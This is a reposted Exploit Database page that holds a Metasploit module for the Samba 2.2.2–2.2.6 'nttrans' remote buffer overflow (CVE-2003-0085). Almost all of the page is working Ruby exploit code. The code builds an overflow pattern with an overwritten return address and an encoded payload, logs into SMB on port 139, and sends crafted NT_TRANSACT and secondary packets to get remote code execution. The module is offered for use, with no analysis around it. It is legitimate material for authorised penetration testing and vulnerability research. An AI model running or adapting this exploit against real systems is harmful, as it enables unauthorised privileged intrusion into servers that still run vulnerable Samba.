Samba 2.2.2 < 2.2.6 - 'nttrans' Remote Buffer Overflow (Metasploit) (1)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2010-04-28
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16321/

• ##
  # $Id: nttrans.rb 9167 2010-04-28 03:54:24Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::SMB
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow',
  			'Description'=> %q{
  					This module attempts to exploit a buffer overflow vulnerability present in
  				versions 2.2.2 through 2.2.6 of Samba.
  
  				The Samba developers report this as:
  				"Bug in the length checking for encrypted password change requests from clients."
  
  				The bug was discovered and reported by the Debian Samba Maintainers.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9167 $',
  			'References' =>
  				[
  					[ 'CVE', '2003-0085' ],
  					[ 'OSVDB', '6323' ],
  					[ 'BID', '7106' ],
  					[ 'URL', 'http://www.samba.org/samba/history/samba-2.2.7a.html' ]
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => "\x00",
  					'MinNops'=> 512,
  				},
  			'Targets'=>
  				[
  					[ "Samba 2.2.x Linux x86",
  						{
  							'Arch' => ARCH_X86,
  							'Platform' => 'linux',
  							'Rets' => [0x01020304, 0x41424344],
  						},
  					],
  				],
  			'DisclosureDate' => 'Apr 7 2003'
  			))
  
  		register_options(
  			[
  				Opt::RPORT(139)
  			], self.class)
  	end
  
  	def exploit
  
  		# 0x081fc968
  
  		pattern = Rex::Text.pattern_create(12000)
  
  		pattern[532, 4] = [0x81b847c].pack('V')
  		pattern[836, payload.encoded.length] = payload.encoded
  
  		# 0x081b8138
  
  		connect
  		smb_login
  
  		targ_address = 0xfffbb7d0
  
  		#
  		# Send a NTTrans request with ParameterCountTotal set to the buffer length
  		#
  
  		subcommand = 1
  		param= ''
  		body = ''
  		setup_count= 0
  		setup_data = ''
  		data = param + body
  
  		pkt = CONST::SMB_NTTRANS_PKT.make_struct
  		self.simple.client.smb_defaults(pkt['Payload']['SMB'])
  
  		base_offset = pkt.to_s.length + (setup_count * 2) - 4
  		param_offset = base_offset
  		data_offset = param_offset + param.length
  
  		pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT
  		pkt['Payload']['SMB'].v['Flags1'] = 0x18
  		pkt['Payload']['SMB'].v['Flags2'] = 0x2001
  		pkt['Payload']['SMB'].v['WordCount'] = 19 + setup_count
  
  		pkt['Payload'].v['ParamCountTotal'] =12000
  		pkt['Payload'].v['DataCountTotal'] = body.length
  		pkt['Payload'].v['ParamCountMax'] = 1024
  		pkt['Payload'].v['DataCountMax'] = 65504
  		pkt['Payload'].v['ParamCount'] = param.length
  		pkt['Payload'].v['ParamOffset'] = param_offset
  		pkt['Payload'].v['DataCount'] = body.length
  		pkt['Payload'].v['DataOffset'] = data_offset
  		pkt['Payload'].v['SetupCount'] = setup_count
  		pkt['Payload'].v['SetupData'] = setup_data
  		pkt['Payload'].v['Subcommand'] = subcommand
  
  		pkt['Payload'].v['Payload'] = data
  
  		self.simple.client.smb_send(pkt.to_s)
  		ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT)
  
  		#
  		# Send a NTTrans secondary request with the magic displacement
  		#
  
  		param = pattern
  		body= ''
  		data= param + body
  
  		pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct
  		self.simple.client.smb_defaults(pkt['Payload']['SMB'])
  
  		base_offset = pkt.to_s.length - 4
  		param_offset = base_offset
  		data_offset = param_offset + param.length
  
  		pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY
  		pkt['Payload']['SMB'].v['Flags1'] = 0x18
  		pkt['Payload']['SMB'].v['Flags2'] = 0x2001
  		pkt['Payload']['SMB'].v['WordCount'] = 18
  
  		pkt['Payload'].v['ParamCountTotal'] = param.length
  		pkt['Payload'].v['DataCountTotal'] = body.length
  		pkt['Payload'].v['ParamCount'] = param.length
  		pkt['Payload'].v['ParamOffset'] = param_offset
  		pkt['Payload'].v['ParamDisplace'] = targ_address
  		pkt['Payload'].v['DataCount'] = body.length
  		pkt['Payload'].v['DataOffset'] = data_offset
  
  		pkt['Payload'].v['Payload'] = data
  
  		self.simple.client.smb_send(pkt.to_s)
  		ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT_SECONDARY)
  
  
  		handler
  
  	end
  
  end